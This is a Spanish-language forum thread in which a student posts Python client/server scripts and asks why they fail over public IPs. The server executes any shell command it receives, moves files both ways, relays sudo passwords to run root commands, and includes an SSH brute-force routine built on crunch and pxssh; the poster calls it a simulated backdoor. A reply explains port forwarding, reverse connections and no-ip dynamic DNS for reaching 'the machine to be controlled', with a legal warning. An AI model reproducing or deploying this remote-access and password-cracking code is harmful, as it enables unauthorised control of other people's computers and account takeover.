Conexion sockets en python con IP publica

Iniciado por Drakaris, 26 Marzo 2019, 23:54 PM

0 Miembros y 2 Visitantes están viendo este tema.

Drakaris

Hola, estoy haciendo un cliente-servidor, para transferencias de archivos,entre el instituto y mi casa.

Servidor.py


#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Se importa el módulo
"""
FUNCIONA EL DOWNLOAD -F
FUNCIONA EL DOWNLOAD -D
"""
import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "192.168.8.100" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

#Instanciamos un objeto cli (socket cliente) para recibir datos
cli, addr = ser.accept() 
while True:
    #creamos comandos especiales para el servidor-cliente
    recibido = cli.recv(1073741824) # 1GB
    cd_recibido = recibido.startswith("cd")
    text_recibido = recibido.startswith("-t")
    ventana_error_recibido = recibido.startswith("-m --error") #ok
    ventana_info_recibido = recibido.startswith("-m --info") #ok
    ventana_input_recibido = recibido.startswith("-m --input") #ok
    ventana_question_recibido = recibido.startswith("-m --question") #ok
    ventana_warning_recibido = recibido.startswith("-m --alert") #ok
    ventana_notification_recibido = recibido.startswith("-m --notification") #ok
    descargar_archivo = recibido.startswith("download -f")
    descargar_carpeta = recibido.startswith("download -d")
    recibido_eliminar_tmp = recibido.startswith("Eliminar download")
    copiar_archivo_listo = recibido.startswith("copy -f ready")
    copiar_carpeta_listo = recibido.startswith("copy -d ready")
    sudo = recibido.startswith("sudo")
    instalar = recibido.startswith("install ready")
    desinstalar = recibido.startswith("uninstall ready")
    fb = recibido.startswith("fb")
    #ejecucion de cuyos comandos
    if text_recibido == 1:
        texto_filtro = recibido.replace("-t ","")
        print(texto_filtro)
        cli.send(texto_filtro)
    elif cd_recibido == 1:
        texto_filtro = recibido.replace("cd ","")
        os.chdir(texto_filtro)
        cli.send(texto_filtro)
    elif ventana_input_recibido == 1:
        texto_filtro = recibido.replace("-m --input ","")
        comando = commands.getoutput("zenity --entry --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_error_recibido == 1:
        texto_filtro = recibido.replace("-m --error ","")
        comando = commands.getoutput("zenity --error --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_info_recibido == 1:
        texto_filtro = recibido.replace("-m --info ","")
        comando = commands.getoutput("zenity --info --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_notification_recibido == 1:
        texto_filtro = recibido.replace("-m --notification ","")
        comando = commands.getoutput("zenity --notification --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando + "\n")
    elif ventana_warning_recibido == 1:
        texto_filtro = recibido.replace("-m --alert ","")
        comando = commands.getoutput("zenity --warning --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_question_recibido == 1:
        texto_filtro = recibido.replace("-m --question ","")
        comando = commands.getoutput("zenity --question --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif recibido == "python":
        cli.send("error sintaxis")
    elif recibido == "nano":
        cli.send("error sintaxis")
    elif descargar_archivo == 1:
        archivo_filtro = recibido.replace("download -f ","")
        lista_nombre_archivo = archivo_filtro.split("/")
        ultimo_item_lista = len(lista_nombre_archivo)
        item_nombre = ultimo_item_lista - 1
        nombre_archivo = lista_nombre_archivo[item_nombre]
        nombre_archivo1 = "".join(nombre_archivo.split())
        abrir_archivo = open(archivo_filtro,"rb")
        archivo_bin = abrir_archivo.read()
        cli.send("download -f ready|"+ nombre_archivo1+"|"+ archivo_bin)
    elif descargar_carpeta == 1:
        filtro = recibido.replace("download -d ","")
        lista = filtro.split("/")
        directorio = len(lista) -1
        directorio_fin = lista[directorio]
        directorio_fin1 = "".join(directorio_fin.split())
        destino_gz = "/tmp/"+directorio_fin1
        ruta_comprimida = "/tmp/"+directorio_fin1+".tar.bz2"
        archivo_gz = shutil.make_archive(destino_gz, "bztar",filtro)
        archivo = open(ruta_comprimida,"rb")
        archivo_bin = archivo.read()
        cli.send("download -d ready |"+archivo_bin+" | "+ruta_comprimida)
    elif recibido_eliminar_tmp:
        filtro = recibido.replace("Eliminar download ","")
        os.system("shred -u "+filtro)
    elif copiar_archivo_listo == 1:
        filtro = recibido.replace("copy -f ready |","")
        lista = filtro.split(" | ")
        archivo = lista[0]
        destino = lista[1]
        nombre = lista[2]
        ruta = destino+"/"+nombre
        abrir = open(ruta,"w")
        abrir.write(archivo)
        cli.send("\033[1;32m"+"[+]"+"\033[1;37m"+" Archivo copiado correctamente a"+"\033[1;31m"+":"+"\033[1;37m"+ruta)
        abrir.close()
    elif copiar_carpeta_listo == 1:
        filtro = recibido.replace("copy -d ready |","")
        lista = filtro.split(" | ")
        archivo = lista[0]
        destino = lista[1]
        carpeta = lista[2]
        ruta = "/tmp/"+carpeta+".tar.bz2"
        abrir = open(ruta,"w")
        abrir.write(archivo)
        abrir.close()
        os.system("mkdir "+destino+"/"+carpeta)
        extraer_destino = destino+"/"+carpeta
        desempaquetar = tarfile.open(ruta)
        desempaquetar.extractall(path=extraer_destino)
        os.system("shred -u "+ruta)
        cli.send("Eliminar copy "+ruta)
        #si no hay comandos especiales para ejecutar, se ejecutará los comandos de linux
    elif sudo == 1:
        filtro_c = recibido.replace("sudo ","")
        filtro = recibido.split(" | ")
        comando = filtro[0]
        contrasena = filtro[1]
        command = commands.getoutput("echo "+contrasena+" | sudo -u root -S "+comando)
    elif instalar == 1:
        filtro = recibido.replace("install ready ","")
        lista = filtro.split(" | ")
        comando = lista[0]
        contrasena = lista[1]
        comando = commands.getoutput("echo "+contrasena+" | sudo -u root -S apt-get install -y "+comando)
    elif desinstalar == 1:
        filtro = recibido.replace("uninstall ready ","")
        lista = filtro.split(" | ")
        comando = lista[0]
        contrasena = lista[1]
        comando = commands.getoutput("echo "+contrasena+" | sudo -u root -S apt-get --purge remove -y "+comando)
    elif fb == 1:
        s = pxssh.pxssh()
        ssh = recibido.replace("fb ","")
        lista = ssh.split()
        localhost = lista[0]
        usuario = lista[1]
        comando = commands.getoutput("crunch 1 12 abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ0123456789 -c 100")
        dic = comando.split("\n")
        del dic[0:7]
        for diccionario in dic:
            try:
                s.login(localhost,usuario,diccionario)
                cli.send("La contrasena es: "+diccionario)
                break;
            except:
                cli.send("Buscando contrasena: "+diccionario)
    else:
        salida = commands.getoutput(recibido)
        cli.send(salida + "\n")           
if ser == True:
    print("Conexion cerrada")
#Cerramos la instancia del socket cliente y servidor
cli.close()
ser.close()


Y el cliente.py


#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Variables
import socket, os, signal, sys, tarfile, shutil, getpass
host = "192.168.8.100" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")

#Creamos un bucle para retener la conexion
while True:
    #Instanciamos una entrada de datos para que el cliente pueda enviar mensajes
    mens = raw_input("\033[1;31m"+host+"\033[1;32m"+"@"+name_host_server+":"+"\033[1;37m"+"$ ")
    if mens == "close":
            os.system("fuser -k -n tcp %s" % port)
            break
    #Con el metodo send, enviamos el mensaje
    obj.send(mens)
    data = obj.recv(1073741824)
    descargar_archivo = data.startswith("download -f ready")
    descargar_carpeta_listo = data.startswith("download -d ready")
    copiar_archivo = mens.startswith("copy -f")
    copiar_carpeta = mens.startswith("copy -d")
    eliminar_copiar_carpeta = data.startswith("Eliminar copy")
    sudo = mens.startswith("root")
    instalar = mens.startswith("install")
    desinstalar = mens.startswith("uninstall")
    #descargar un archivo del servidor al cliente
    if descargar_archivo == 1:
            ruta = raw_input("ruta absoluta, donde se descargará el archivo >>\n")
            archivo_filtro = data.replace("download -f ready|","")
            lista_archivo = archivo_filtro.split("|")
            nombre_archivo = lista_archivo[0]
            restante = nombre_archivo+"|"
            archivo_filtro2 = archivo_filtro.replace(restante,"")
            crear_ruta = ruta+"/"+nombre_archivo
            archivo_descargar = open(crear_ruta,"a")
            archivo_descargar.write(archivo_filtro2)
            archivo_descargar.close()
            print("\033[1;32m"+"[+]"+"\033[1;37m"+"archivo descargado correctamente")
    #copiar un archivo del cliente al servidor
    elif descargar_carpeta_listo == 1: #descargar carpeta del servidor al cliente
            ruta = raw_input("ruta absoluta donde descargarás el directorio >>\n")
            filtro = data.replace("download -d ready |","")
            lista = filtro.split(" | ")
            archivo = lista[0]
            ruta_tmp = lista[1]
            lista_ruta = ruta_tmp.split("/")
            ultimo = len(lista_ruta) -1
            nombre = lista_ruta[ultimo]
            nombre_dir = nombre.split(".")
            nombre_directorio = nombre_dir[0]
            abrir = open(ruta_tmp,"w")
            abrir.write(archivo)
            abrir.close()
            os.system("mkdir "+ruta+"/"+nombre_directorio)
            desempaquetar = tarfile.open(ruta_tmp)
            desempaquetar.extractall(path=ruta+"/"+nombre_directorio+"/")
            eliminar = open(ruta_tmp,"w")
            eliminar.write("00000000")
            eliminar.close()
            os.system("shred -u "+ruta_tmp)
            obj.send("Eliminar download "+ruta_tmp)
            print("\033[1;32m"+"[+]"+"\033[1;37m"+"carpeta descargada correctamente")
    elif copiar_archivo == 1:
            destino_servidor = raw_input("ruta absoluta, donde se copiará el archivo al servidor >>\n")
            filtro = mens.replace("copy -f ","")
            abrir = open(filtro,"rb")
            leer = abrir.read()
            lista = filtro.split("/")
            lon_lista = len(lista)
            ultim_lista = lon_lista-1
            nombre = lista[ultim_lista]
            nombre1 = "".join(nombre.split())
            obj.send("copy -f ready |"+leer+" | "+destino_servidor+" | "+nombre1)
    elif copiar_carpeta == 1:
            destino_servidor = raw_input("ruta absoluta, donde se copiará la carpeta al servidor >>\n")
            filtro = mens.replace("copy -d ","")
            lista = filtro.split("/")
            lon_lista = len(lista)
            ultim_lista = lon_lista-1
            directorio = lista[ultim_lista]
            directorio1 = "".join(directorio.split())
            tmp = "/tmp/"+directorio1
            tar = "/tmp/"+directorio1+".tar.bz2"
            comprimir = shutil.make_archive(tmp,"bztar",filtro)
            abrir = open(tar,"rb")
            leer = abrir.read()
            obj.send("copy -d ready |"+leer+" | "+destino_servidor+" | "+directorio1)
            print("\033[1;32m"+"[+]"+"\033[1;37m"+" Directorio copiado correctamente")
    elif  eliminar_copiar_carpeta == 1:
            filtro = data.replace("Eliminar copy ","")
            os.system("shred -u "+filtro)
    elif sudo == 1:
        contrasena = getpass.getpass("Contraaseña del usuario root: ")
        mensaje = mens.replace("root ","")
        obj.send("sudo "+mensaje+" | "+contrasena)
    elif instalar == 1:
        contrasena = getpass.getpass("Contraseña del usuario root: ")
        mensaje = mens.replace("install ","")
        obj.send("install ready "+mensaje+" | "+contrasena)
        while data == "error sudo install":
            contrasena = getpass.getpass("Contraseña del usuario root: ")
            pass
    elif desinstalar == 1:
        contrasena = getpass.getpass("Contraseña del usuario root: ")
        mensaje = mens.replace("uninstall ","")
        obj.send("uninstall ready "+mensaje+" | "+contrasena)
    elif mens == "man":
        print("""
            """+"\033[1;31m"+"""-t"""+"\033[1;37m"+""" [texto] : Envía un mensaje por la terminal.\n
            """+"\033[1;31m"+"""-m --error"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de error.\n
            """+"\033[1;31m"+"""-m --info"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de información.\n
            """+"\033[1;31m"+"""-m --input"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de entrada de texto.\n
            """+"\033[1;31m"+"""-m --question"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de pregunta.\n
            """+"\033[1;31m"+"""-m --alert"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de alerta.\n
            """+"\033[1;31m"+"""-m --notification"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de notificación.\n
            """+"\033[1;31m"+"""download -f"""+"\033[1;37m"+""" [ruta del archivo del servidor a descargar] : Descarga un archivo del servidor al cliente.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" download -f /home/administrador/Imágenes/cleanet.png
                    ruta absoluta, donde se descargará el archivo """+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Escritorio\n
                    [!]
            """+"\033[1;31m"+"""download -d"""+"\033[1;37m"+""" [ruta del directorio del servidor a descargar] : Descarga un directorio del servidor al cliente.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el directorio.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" download -d /home/administrador/scripts\n
                    ruta absoluta, donde descargarás el directorio """+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Escritorio\n
            """+"\033[1;31m"+"""copy -f"""+"\033[1;37m"+""" [ruta del archivo del cliente para copiarlo al servidor] : copia un archivo del cliente al servidor.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" copy -f /home/administrador/conexion.py\n
                    ruta absoluta, donde se copiará el archivo al servidor"""+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Documentos\n
            """+"\033[1;31m"+"""copy -d"""+"\033[1;37m"+""" [ruta del directorio del cliente para copiarlo al servidor] : copia un directorio del cliente al servidor.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" copy -d /home/administrador/actividades \n
                    ruta absoluta, donde se copiará el archivo al servidor"""+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Documentos \n

                [!] Cuando se haga una transferencia de archivo el tamaño máximo es de 1GB
                [!] Al introducir las rutas, no deben de tener un '/' al final         
            """)
    else:
        print(data)
#Cerramos la instancia del objeto servidor
obj.close()
#Imprimimos la palabra Adios para cuando se cierre la conexion
print("Conexion cerrada")


En el servidor.py, la variable server lo pongo vacio y le asigno el puerto 8000

import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

y en el cliente, la ip 127.0.0.1 (localhost) y el puerto 8000

import socket, os, signal, sys, tarfile, shutil, getpass
host = "127.0.0.1" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")


El funcionamiento va bien, en LAN, pero mi objetivo, es que funcione a traves de ip's publicas (WAN), (siempre y cuando el cliente-servidor esten encendidos). Para ello me informe de que se necesitaba abrir puertos en mi router.

Yo tengo un HUAWEI B315, aquí la imagen del puerto abierto:
https://drive.google.com/file/d/1i2-nF3wRkw8H93MIIXdY9O6OMBZrcDGO/view?usp=sharing

Una vez hecho este paso, modifique un el codigo cliente-servidor para la conexion.
Servidor.py

import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "85.119.xxx.xxx" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

#Instanciamos un objeto cli (socket cliente) para recibir datos
cli, addr = ser.accept() 


Cliente.py

import socket, os, signal, sys, tarfile, shutil, getpass
host = "176.87.xxx.xxx" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")



El caso es que lo probé (ambos PC's encendidos) y no me funcionaba, me daba el error

Servidor
Citar
Traceback (most recent call last):
  File "servidor.py", line 22, in <module>
    ser.bind((server, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 99] Cannot assign requested address

Cliente
Citar
Traceback (most recent call last):
  File "servidor.py", line 22, in <module>
    ser.bind((server, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 99] Cannot assign requested address

El caso, es que lo que puede estar pasando es que, el router de mi casa tiene el puerto abierto, pero el otro posiblemente no lo tenga?

Gracias de antemano!!
Lo increible, no es lo que ves, sino como es

@XSStringManolo

En conexion directa es el cliente el que envia la conexion al servidor.
Tienes que abrir el puerto a la maquina que recobe la conexion.
El router no es adivino y en el caso de tener muchos equipos comectados al mismo router, como sabe el router cual de esos equipo recibira la conexion? Para eso tienes que seleccionar la ip publica (que identifica al equipo que recibe la conexion y abrir los puertos para que el equipo pueda estar en modo escucha a la espera de tu conexion desde el cliente.

En caso de que la conexion sea inversa, es el servidor el que se configura para establecer la conexion con el cliente. Entonces si tienes que abrir los puertos de tu router hacia el equipo en el que estas ejecutando el cliente.

Imagino que no has escrito tu el codigo. En este caso es el servidor el cual está a la escucha.
Solucion 1: Abre el puerto del router domde estas ejecutando la aplicacion servidor. (Maquina a ser controlada) Cierra el puerto de tu router de tu casa.

Solucion 2: Utiliza otra aplicacion que establezca la conexion desde el equipo que quieres controlar al tuyo.
Es probable que tengas una ip-dinamica (cambia cada x tiempo o si apagas el router un rato.)
Puedes comprobarlo, mira tu ip apaga el router 10 segundos y vuelve a mirar tu ip. Si cambia la ip que configuraste en la aplicacion no coincidira con tu ip actual por lo que no te llegara la conexion desde el equipo a controlar a tu casa. Para solicionar ese problema tiemes que usar un servicio de terceros como.no-ip. Entonces configuras la ip de NO-IP en la aplicacion servidor instalada en la maquina a cpntrolar. Al tener la aplicacion de no-ip abierta en el pc de tu casa, esta envia tu ip actual, y si esta cambia el programa envia la nueva direccion ip. Desde el servidor otorgado por no-ip se redirecciona la conexion del servidor a tu equipo. Por lo que siempre te llegara la conexion desde el equipo a controlar a tu equipo.

No instales ningun programa que te permita controlar un equipo si autorizacion por escrito del duenho del equipo y/o del administrador/propietario de la red local.
En caso contrario estaras cometiendo un delito.
El desconocimiento del codigo penal no exime de su cumplimiento.
Consulta las penas multas del pais en el que resides y tambien del pais en donde esta el servidor en caso de que no este en el mismo que desde donde te encuentras.

Hay muchos manuales. Si te interesa el tema instala algun servidor en el pc con virtualbox usando manuales y experimenta desde tu movil desde tu casa y la casa de un amigo que tenga wi-fi o algun bar/centro comercial.
Esta chulo el tema.


Drakaris

Cita de: string Manolo en  8 Mayo 2019, 02:02 AM
En conexion directa es el cliente el que envia la conexion al servidor.
Tienes que abrir el puerto a la maquina que recobe la conexion.
El router no es adivino y en el caso de tener muchos equipos comectados al mismo router, como sabe el router cual de esos equipo recibira la conexion? Para eso tienes que seleccionar la ip publica (que identifica al equipo que recibe la conexion y abrir los puertos para que el equipo pueda estar en modo escucha a la espera de tu conexion desde el cliente.

En caso de que la conexion sea inversa, es el servidor el que se configura para establecer la conexion con el cliente. Entonces si tienes que abrir los puertos de tu router hacia el equipo en el que estas ejecutando el cliente.a

Imagino que no has escrito tu el codigo. En este caso es el servidor el cual está a la escucha.
Solucion 1: Abre el puerto del router domde estas ejecutando la aplicacion servidor. (Maquina a ser controlada) Cierra el puerto de tu router de tu casa.

Solucion 2: Utiliza otra aplicacion que establezca la conexion desde el equipo que quieres controlar al tuyo.
Es probable que tengas una ip-dinamica (cambia cada x tiempo o si apagas el router un rato.)
Puedes comprobarlo, mira tu ip apaga el router 10 segundos y vuelve a mirar tu ip. Si cambia la ip que configuraste en la aplicacion no coincidira con tu ip actual por lo que no te llegara la conexion desde el equipo a controlar a tu casa. Para solicionar ese problema tiemes que usar un servicio de terceros como.no-ip. Entonces configuras la ip de NO-IP en la aplicacion servidor instalada en la maquina a cpntrolar. Al tener la aplicacion de no-ip abierta en el pc de tu casa, esta envia tu ip actual, y si esta cambia el programa envia la nueva direccion ip. Desde el servidor otorgado por no-ip se redirecciona la conexion del servidor a tu equipo. Por lo que siempre te llegara la conexion desde el equipo a controlar a tu equipo.

No instales ningun programa que te permita controlar un equipo si autorizacion por escrito del duenho del equipo y/o del administrador/propietario de la red local.
En caso contrario estaras cometiendo un delito.
El desconocimiento del codigo penal no exime de su cumplimiento.
Consulta las penas multas del pais en el que resides y tambien del pais en donde esta el servidor en caso de que no este en el mismo que desde donde te encuentras.

Hay muchos manuales. Si te interesa el tema instala algun servidor en el pc con virtualbox usando manuales y experimenta desde tu movil desde tu casa y la casa de un amigo que tenga wi-fi o algun bar/centro comercial.
Esta chulo el tema.

Muchas gracias, por la explicación, probaré lo que comentaste sobre un server en virtualbox, y no te preocupes por esto:
Citar
No instales ningun programa que te permita controlar un equipo si autorizacion por escrito del duenho del equipo y/o del administrador/propietario de la red local.
En caso contrario estaras cometiendo un delito.
El desconocimiento del codigo penal no exime de su cumplimiento.
Consulta las penas multas del pais en el que resides y tambien del pais en donde esta el servidor en caso de que no este en el mismo que desde donde te encuentras.

Mis objetivos no son dañinos sino solamente para aprender y entender. Solamente la conexion sockets lo copie de internet pero lo demás lo desarrollé yo, esto permite funciones como transferir archivos del servidor al ciente y viceversa. Como también moverse por las carpetas, y ver sus archivos (con funciones cd, ls, ls -l ...). Solamente disimular un posible funcionamiento de un backdoor.
Lo increible, no es lo que ves, sino como es